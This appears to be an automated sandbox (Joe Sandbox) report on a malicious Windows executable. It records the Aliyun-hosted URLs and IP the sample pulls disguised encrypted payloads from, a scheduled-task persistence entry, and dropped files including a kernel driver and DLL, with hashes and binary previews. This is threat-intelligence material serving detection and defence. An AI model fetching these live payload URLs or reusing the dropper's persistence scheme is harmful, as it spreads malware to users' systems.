https://jylhok.oss-cn-beijing.aliyuncs.com/a.gifhttps://jylhok.oss-cn-beijing.aliyuncs.com/b.gifhttp	287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	false		high
https://jylhok.oss-cn-beijing.aliyuncs.com/b.gifents	287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/d.gifws	287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jylhok.oss-cn-beijing.aliyuncs.com/C	287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
39.103.20.48	sc-2a1c.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	China		37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585091
Start date and time:	2025-01-07 04:13:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	287438657364-7643738421.08.exe
Detection:	MAL
Classification:	mal80.evad.winEXE@4/12@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 58% Number of executed functions: 12 Number of non-executed functions: 190
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target O8xg2t.exe, PID 6880 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:15:50	Task Scheduler	Run new task: 8wPRd path: C:\Users\user\Documents\O8xg2t.exe
22:14:09	API Interceptor	941x Sleep call for process: 287438657364-7643738421.08.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	x86_64.elf	Get hash	malicious	Mirai	Browse	8.171.83.51
	i486.elf	Get hash	malicious	Mirai	Browse	47.107.186.79
	arm4.elf	Get hash	malicious	Mirai	Browse	118.178.206.165
	2.elf	Get hash	malicious	Unknown	Browse	60.205.221.193
	1.elf	Get hash	malicious	Unknown	Browse	47.107.3.205
	3.elf	Get hash	malicious	Unknown	Browse	8.184.34.244
	2749837485743-7684385786.05.exe	Get hash	malicious	Nitol	Browse	39.103.20.26
	2749837485743-7684385786.05.exe	Get hash	malicious	Unknown	Browse	39.103.20.26
	cZO.exe	Get hash	malicious	Unknown	Browse	120.77.100.135
	z0r0.m68k.elf	Get hash	malicious	Mirai	Browse	8.133.115.153

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	u1XWB0BIju.msi	Get hash	malicious	Unknown	Browse	39.103.20.48
	setup.msi	Get hash	malicious	Unknown	Browse	39.103.20.48
	2749837485743-7684385786.05.exe	Get hash	malicious	Nitol	Browse	39.103.20.48
	2749837485743-7684385786.05.exe	Get hash	malicious	Unknown	Browse	39.103.20.48
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	39.103.20.48
	ZT0KQ1PC.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	39.103.20.48
	LinxOptimizer.exe	Get hash	malicious	Unknown	Browse	39.103.20.48
	setup.msi	Get hash	malicious	Unknown	Browse	39.103.20.48
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	39.103.20.48

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Documents\O8xg2t.exe	2749837485743-7684385786.05.exe	Get hash	malicious	Nitol	Browse
	2749837485743-7684385786.05.exe	Get hash	malicious	Unknown	Browse
	2b687482300.6345827638.08.exe	Get hash	malicious	Unknown	Browse
	2b687482300.6345827638.08.exe	Get hash	malicious	Unknown	Browse
	45631.exe	Get hash	malicious	Nitol	Browse
	45631.exe	Get hash	malicious	Unknown	Browse
	0000000000000000.exe	Get hash	malicious	Nitol	Browse
	0000000000000000.exe	Get hash	malicious	Unknown	Browse
	T1#U5b89#U88c5#U52a9#U624b1.0.2.exe	Get hash	malicious	Nitol	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\s[1].jpg

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	8299
Entropy (8bit):	7.9354275320361545
Encrypted:	false
SSDEEP:	192:plfK6KTBKkGUy8DJdg0ANCT/0E/jiG4hMrnv2:pBK6KTBZGWvg0ANCT/WGFv2
MD5:	9BDB6A4AF681470B85A3D46AF5A4F2A7
SHA1:	D26F6151AC12EDC6FC157CBEE69DFD378FE8BF8A
SHA-256:	5207B0111DC5CC23DA549559A8968EE36E39B5D8776E6F5B1E6BDC367937E7DF
SHA-512:	5930985458806AF51D54196F10C3A72776EFDDA5D914F60A9B7F2DD04156288D1B8C4EB63C6EFD4A9F573E48B7B9EFE98DE815629DDD64FED8D9221A6FB8AAF4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE...............CHI........[..>G..C..&.!7..E..)U&.$...z.tuv......?..............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\c[1].gif

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	10681
Entropy (8bit):	7.866148090449211
Encrypted:	false
SSDEEP:	192:fN3El4oBtN9pmD65VoeotpeGy/nmgVtKFbM/PvMZ5ZWtZl4EehHGXI9Fch5:fN3E7NW27oJWJ+M/8ZCDuEe2I9FS5
MD5:	10A818386411EE834D99AE6B7B68BE71
SHA1:	27644B42B02F00E772DCCB8D3E5C6976C4A02386
SHA-256:	7545AC54F4BDFE8A9A271D30A233F8717CA692A6797CA775DE1B7D3EAAB1E066
SHA-512:	BDC5F1C9A78CA677D8B7AFA2C2F0DE95337C5850F794B66D42CAE6641EF1F8D24D0F0E98D295F35E71EBE60760AD17DA1F682472D7E4F61613441119484EFB8F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\i[1].dat

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.2008868627450004
Encrypted:	false
SSDEEP:	6:W7pdRda+CrCa2BIDR/yYWRudduXCCmZ7OdUzW9E40/qcX:mpUMBIDR/yYWRudduXCCmdgUzWg3
MD5:	6FE90B6ABE6C4D1079B730F10120B3D1
SHA1:	EEEC97FDCF98EEA2A53C033D5ECC75D5C3A0C438
SHA-256:	9EB8597171F3CDF8892B9DEC93A4E2D63DE7D2D9B28B823FB374E111583B55F5
SHA-512:	161CF27D69434B4049EA47B2E0AE9283B820DBF8659B3B5CDACCC7FF3CEEF1DBBB3DB7A58CD2AFE7617E3BE866C6E26CA14B30BF6464EBA4C75764715F700C2B
Malicious:	false
Reputation:	low
Preview:	....l%00ZI\X73v7DD.T:y61X[X_8q>3ZJF]>.s>QS._q86999999999999999999999999999999999QMMI:sff....ae a..L.l/`g....n'he....hx%h..G.$mclllllllllllllllllllllllllllllllll....o&33YJ_[40u4GG.W9z52[X[\;r=0YIE^=-p=RP.^p97888888888888888888888888888888888PLLH;rgg....`d!`..M.m.af....o&id....iy$i..F.#jdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk....~ss1TIT1111111111111111111111111111111111111GBT]2:s9UU99999999999999999999999999999999999999nVK]-<9.rwo~.P..................................QoQl ...6\|ylllllllllllllllllllllllllllllllllllll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\a[1].gif

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	135589
Entropy (8bit):	7.995304392539578
Encrypted:	true
SSDEEP:	3072:CQFCJFvegK8iS+UKaskx87eJd0Cn/zUR7Tq:CKwvehSbsY8anIde
MD5:	0DDD3F02B74B01D739C45956D8FD12B7
SHA1:	561836F6228E24180238DF9456707A2443C5795C
SHA-256:	2D3C7FBB4FBA459808F20FDC293CDC09951110302111526BC467F84A6F82F8F6
SHA-512:	0D6A7700FA1B8600CAE7163EFFCD35F97B73018ECB9A17821A690C179155199689D899F8DCAD9774F486C9F28F4D127BFCA47E6D88CC72FB2CDA32F7F3D90238
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\d[1].gif

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3892010
Entropy (8bit):	7.995495589600101
Encrypted:	true
SSDEEP:	98304:NAHrPzE9m4wgyNskyumYyryfxFVLqndnA1Nfjh:j5wgHh/nyZLN1
MD5:	E4E46F3980A9D799B1BD7FC408F488A3
SHA1:	977461A1885C7216E787E5B1E0C752DC2067733A
SHA-256:	6166EF3871E1952B05BCE5A08A1DB685E27BD83AF83B0F92AF20139DC81A4850
SHA-512:	9BF3B43D27685D59F6D5690C6CDEB5E1343F40B3739DDCACD265E1B4A5EFB2431102289E30734411DF4203121238867FDE178DA3760DA537BAF0DA07CC86FCB4
Malicious:	false
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\b[1].gif

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	125333
Entropy (8bit):	7.993522712936246
Encrypted:	true
SSDEEP:	3072:8vcsO9vKcSrCpJigTY1mZzj283zsY+oOVoPj24pq:8vcXfSWT3TY1mZf13zB+a72Uq
MD5:	2CA9F4AB0970AA58989D66D9458F8701
SHA1:	FE5271A6D2EEBB8B3E8E9ECBA00D7FE16ABA7A5B
SHA-256:	5536F773A5F358F174026758FFAE165D3A94C9C6A29471385A46C1598CFB2AD4
SHA-512:	AB0EF92793407EFF3A5D427C6CB21FE73C59220A92E38EDEE3FAACB7FD4E0D43E9A1CF65135724686B1C6B5D37B8278800D102B0329614CB5478B9CECB5423C7
Malicious:	false
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\s[1].dat

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	data
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	7.711627336404117
Encrypted:	false
SSDEEP:	384:9eegCRh1vC6FvsdvaUv2rywX0IK+H8Ku7jVolZ7XRJsKYkGDfRRX5qSgUWCHopQ8:B5F1FUdy422IK+gAZt2i0YPpQn4GMr
MD5:	B49BF11DC361D426B398BB8C06DCFBFC
SHA1:	815737B9770BF4404AE201BA9AD4ECA7E286F0BF
SHA-256:	F3C2B3590B51FFB26D50E95C3B6D7DAC81F09AFE96E209723D920C0B4BEF07AA
SHA-512:	DA049725398577C8F3D7224D61462614EA56E5A8350A1B86E5085BD8BA575F8FA7FCFC55BA4B7234360D9838579AAB5B14366896F27AA5A6446AD91A8C66DF09
Malicious:	false
Preview:	..(.........GG..............................................P..........{Z.z7..c_6,./]@H]<0}>_PPQ%q34.FAZz34z>5)Z75>?.225.5555555..G\.@f.z\.@f.{\.@f...\.@f...\.@f...\.@f...\.@f...\.@f...\.@f4......4444444444444444444444444dq44P.<4.g.bbbbbbbbb.b@bi`kbbXbbbpbbbbbb..bbbrbbbbcbbbbbbrbbb`bbdbcbdbcbdbcbbbbbb.bbbfbb$bcbcbbbbbfbbbbbbrbbbbbbbbrbbbbbbrbbbbbbbbbbrbbbbbbbbbbbr.bbJbbbb.bb.abbb.bb.cbbb2bb.\|bbb.bb&bbb.#bb~bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"bb.cbbbbbbbbbbbbbbbbbbbbbbbbbbL...n....6.......4..................:..r\...gr.......S.......!..............S..[u?:/N////-///.///-///.//////////////o//......"............................................................................?.........................]s/./L///.,///.///+///e//////////////o//mC...nb...............O..............A..CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

C:\Users\user\Documents\MsMpList.dat

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3889557
Entropy (8bit):	7.999938753862441
Encrypted:	true
SSDEEP:	98304:LAnkiLOZS/hpXbdHpPcG59BO8NQXIeXXv5L4f2fN3yQWF+A:EndLOZS/DtpPJRO8OHBL4f2UQI+A
MD5:	97057F6C160572D66FD8942F28133297
SHA1:	42CB5891A893AAF769E7E963816BE7B74766DEEE
SHA-256:	FA9EE3D12826110846C95845141CFF32154A3EB924DD5BB3A1BE9931C40FEC1B
SHA-512:	70E23839A31E213DE2231E37DDDBB76B01A02B1256E9E195159C0ED261995B8620DE0110241A85C2D79FB65DF17382D720D04BF9002E52A3EC91A791999BB08F
Malicious:	false
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\Documents\O8xg2t.exe

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133136
Entropy (8bit):	6.350273548571922
Encrypted:	false
SSDEEP:	3072:NtmH5WKiSogv0HSCcTwk7ZaxbXq+d1ftrt+armpQowbFqD:NYZEHG0yfTPFas+dZZrL9MD
MD5:	D3709B25AFD8AC9B63CBD4E1E1D962B9
SHA1:	6281A108C7077B198241159C632749EEC5E0ECA8
SHA-256:	D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948
SHA-512:	625F46D37BCA0F2505F46D64E7706C27D6448B213FE8D675AD6DF1D994A87E9CEECD7FB0DEFF35FDDD87805074E3920444700F70B943FAB819770D66D9E6B7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2749837485743-7684385786.05.exe, Detection: malicious, Browse Filename: 2749837485743-7684385786.05.exe, Detection: malicious, Browse Filename: 2b687482300.6345827638.08.exe, Detection: malicious, Browse Filename: 2b687482300.6345827638.08.exe, Detection: malicious, Browse Filename: 45631.exe, Detection: malicious, Browse Filename: 45631.exe, Detection: malicious, Browse Filename: 0000000000000000.exe, Detection: malicious, Browse Filename: 0000000000000000.exe, Detection: malicious, Browse Filename: T1#U5b89#U88c5#U52a9#U624b1.0.2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.E.7w+.7w+.7w+...V.?w+...E..w+...F.Qw+...P.5w+.>...>w+.7w..w+...Y.>w+...W.6w+...S.6w+.Rich7w+.........PE..d...Kd.]..........#................P].........@............................................................................................,...x...............,........H...........D...............................................@..@............................text...)......................... ..`.rdata..x_...@...`..................@..@.data....:..........................@....pdata..,...........................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\WordpadFilter.db

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	GIF image data, version 89a, 10 x 10
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	7.978965865518848
Encrypted:	false
SSDEEP:	192:7Bue6hKvTlByz2GqpoPTgyXrByFCt4lXp9tyey2Q0l:7BuNhyTlBU2dp+1XrBuCgp9vU0l
MD5:	A315A7E9EE892679B0F8FAB9C1F38D4C
SHA1:	021BAED46FA2C4AFE75027DC6884D66DFE582AED
SHA-256:	1974F6C8502515270933350BB921EF7574C04641147F464AD1ADA2FB10691102
SHA-512:	3BB103FB061DD1E76B86B8C68C569A2096BE4C46F748E7787B8AC1D6E3E9A5B38BA637655290F09E09543AED2B4AF3CEC347BA0D5AB9AA21295D5341CEE95C0B
Malicious:	false
Preview:	GIF89a.......,.N.........;.;G_fx5.#DV..g..}A/...l=.2......'o...!.....e.,t..o8.^...B^x..6IX.DC.Oa..../_...n$_.y..+jb..r...Y4/Rv.....(;....$...g..........~.IN ...-<R7....eZ..q4.....~...}....~t<......\|}....x.)U3.`U..s....W..WY..w+o-[..{..l..i`.:.......L'.>...$. .a.x.2#y_(9....d,....=n...%...c.........dq.nfLI....!1..2...`.,...~....)w.5E 1.V...0."...cu...p........^\|@.-w..+...M.(.GK.y}.N.........}.....-..e.......X...GE.\|.-._..*.M.....Mc........9/..fQ.Z.....W.....s...........k?C.q.u.-...Q..."..kt..A..128.......7#...~....1.`..:C.(.C.<y.(..<..'..+.!&.....r..I.....d...W.....-.'.Ec`Nv.8).....!....?.....\..N.3..D...U.....(..#sdY..D"...p.>.W.Q...}.. ..2.A('Q\_y...\|..Az..JO.B.A..Q05.)..Q..zd..V..l......S.....dS.x....z^..z...).a.....4.G..........M.,..a..U...\....G...$...Q.7...@.x...x.s..R..0.-3...).x.D..f.I..n.....}..{.p.q.%,.lF.f.Up..UM..Y..1............R.....F.._....Y..u...e^.c...f.'..U.W1g..e#J...Z.W.....w.[...........R.?.m......"@.f..V..fxI

C:\Users\user\Documents\vselog.dll

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.002074252556158
Encrypted:	false
SSDEEP:	1536:Jd4E7qItA4nbQ0R3rh4Q8/0fp0uQ4S8S7YDLbnTPtrTzvesW7dj9dl4Cp52Fr:Jf7qG3Gyp0p4ZmGLbTPJT7y7aCp5gr
MD5:	BE8593187A8085D0BA96BA73CDBACBDA
SHA1:	D2554B24CEAC749D4FC4C56D6C773E69EB541C56
SHA-256:	33AEBA6CFD297402B050BFD0D3315F2F063B546E2B3413F5A2CC38991AC06140
SHA-512:	3821D6B1B1B78B40A4D40715F04595BF7F46692E046DF1494CEC227FEB9694AAFAC08484CDC3384B70D6507C0790A24AE42645EDB9AAD83B32A3D4942DFE3660
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... .E .E .Ek..D%.Ek..D..Ek..D*.E0N.D).E0N.D..E0N.D..Ek..D#.E .EB.EhO.D!.EhO.D!.EhOHE!.E . E!.EhO.D!.ERich .E........PE..d....w.g.........." ...).....................................................0............`.........................................`...........(.......H.................... ..x... ...8...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...0...........................@....pdata..............................@..@.rsrc...H...........................@..@.reloc..x.... ......................@..B........................................................................................................................................................................................................................................

C:\Windows\System32\drivers\189atohci.sys

Download File

Process:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	6.228740525083608
Encrypted:	false
SSDEEP:	384:83YUY30d1Kgf4AtcTmwZ/22a97C5ohYh3IB96Oys2+l0skiM0HMFrba8no0ceD/P:8OUkgfdZ9pRyv+uPzCMHo3q4tDghN
MD5:	EFD0D6EAAF4AC868C9FB7F6B5F51FB20
SHA1:	788666FB17622D4EE08C6AAAD4B382915BF4394D
SHA-256:	16AACF76E10998C870F1F7FF2A7B03C29666B949E6B4F021178347364832E49E
SHA-512:	ECEADFAD1D8AD3347FFFBA46B59A883DE6999C074F84A4D8BC65A566D10DD0F7158A05E916E383C62D725B76F9C904941EF0F143C5F167CAC9D326DFB2D8E718
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ri...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:Rich...:........................PE..d....S.V.........."......:..........l...............................................F...........................................................(............`.......P..p.......D....A...............................................@...............................text....,.......................... ..h.rdata.......@.......2..............@..H.data........P.......:..............@....pdata.......`.......<..............@..HPAGE....l....p.......>.............. ..`INIT.................@.............. ....rsrc................J..............@..B.reloc...............N..............@..B........................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	0.08121435698808738
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	287438657364-7643738421.08.exe
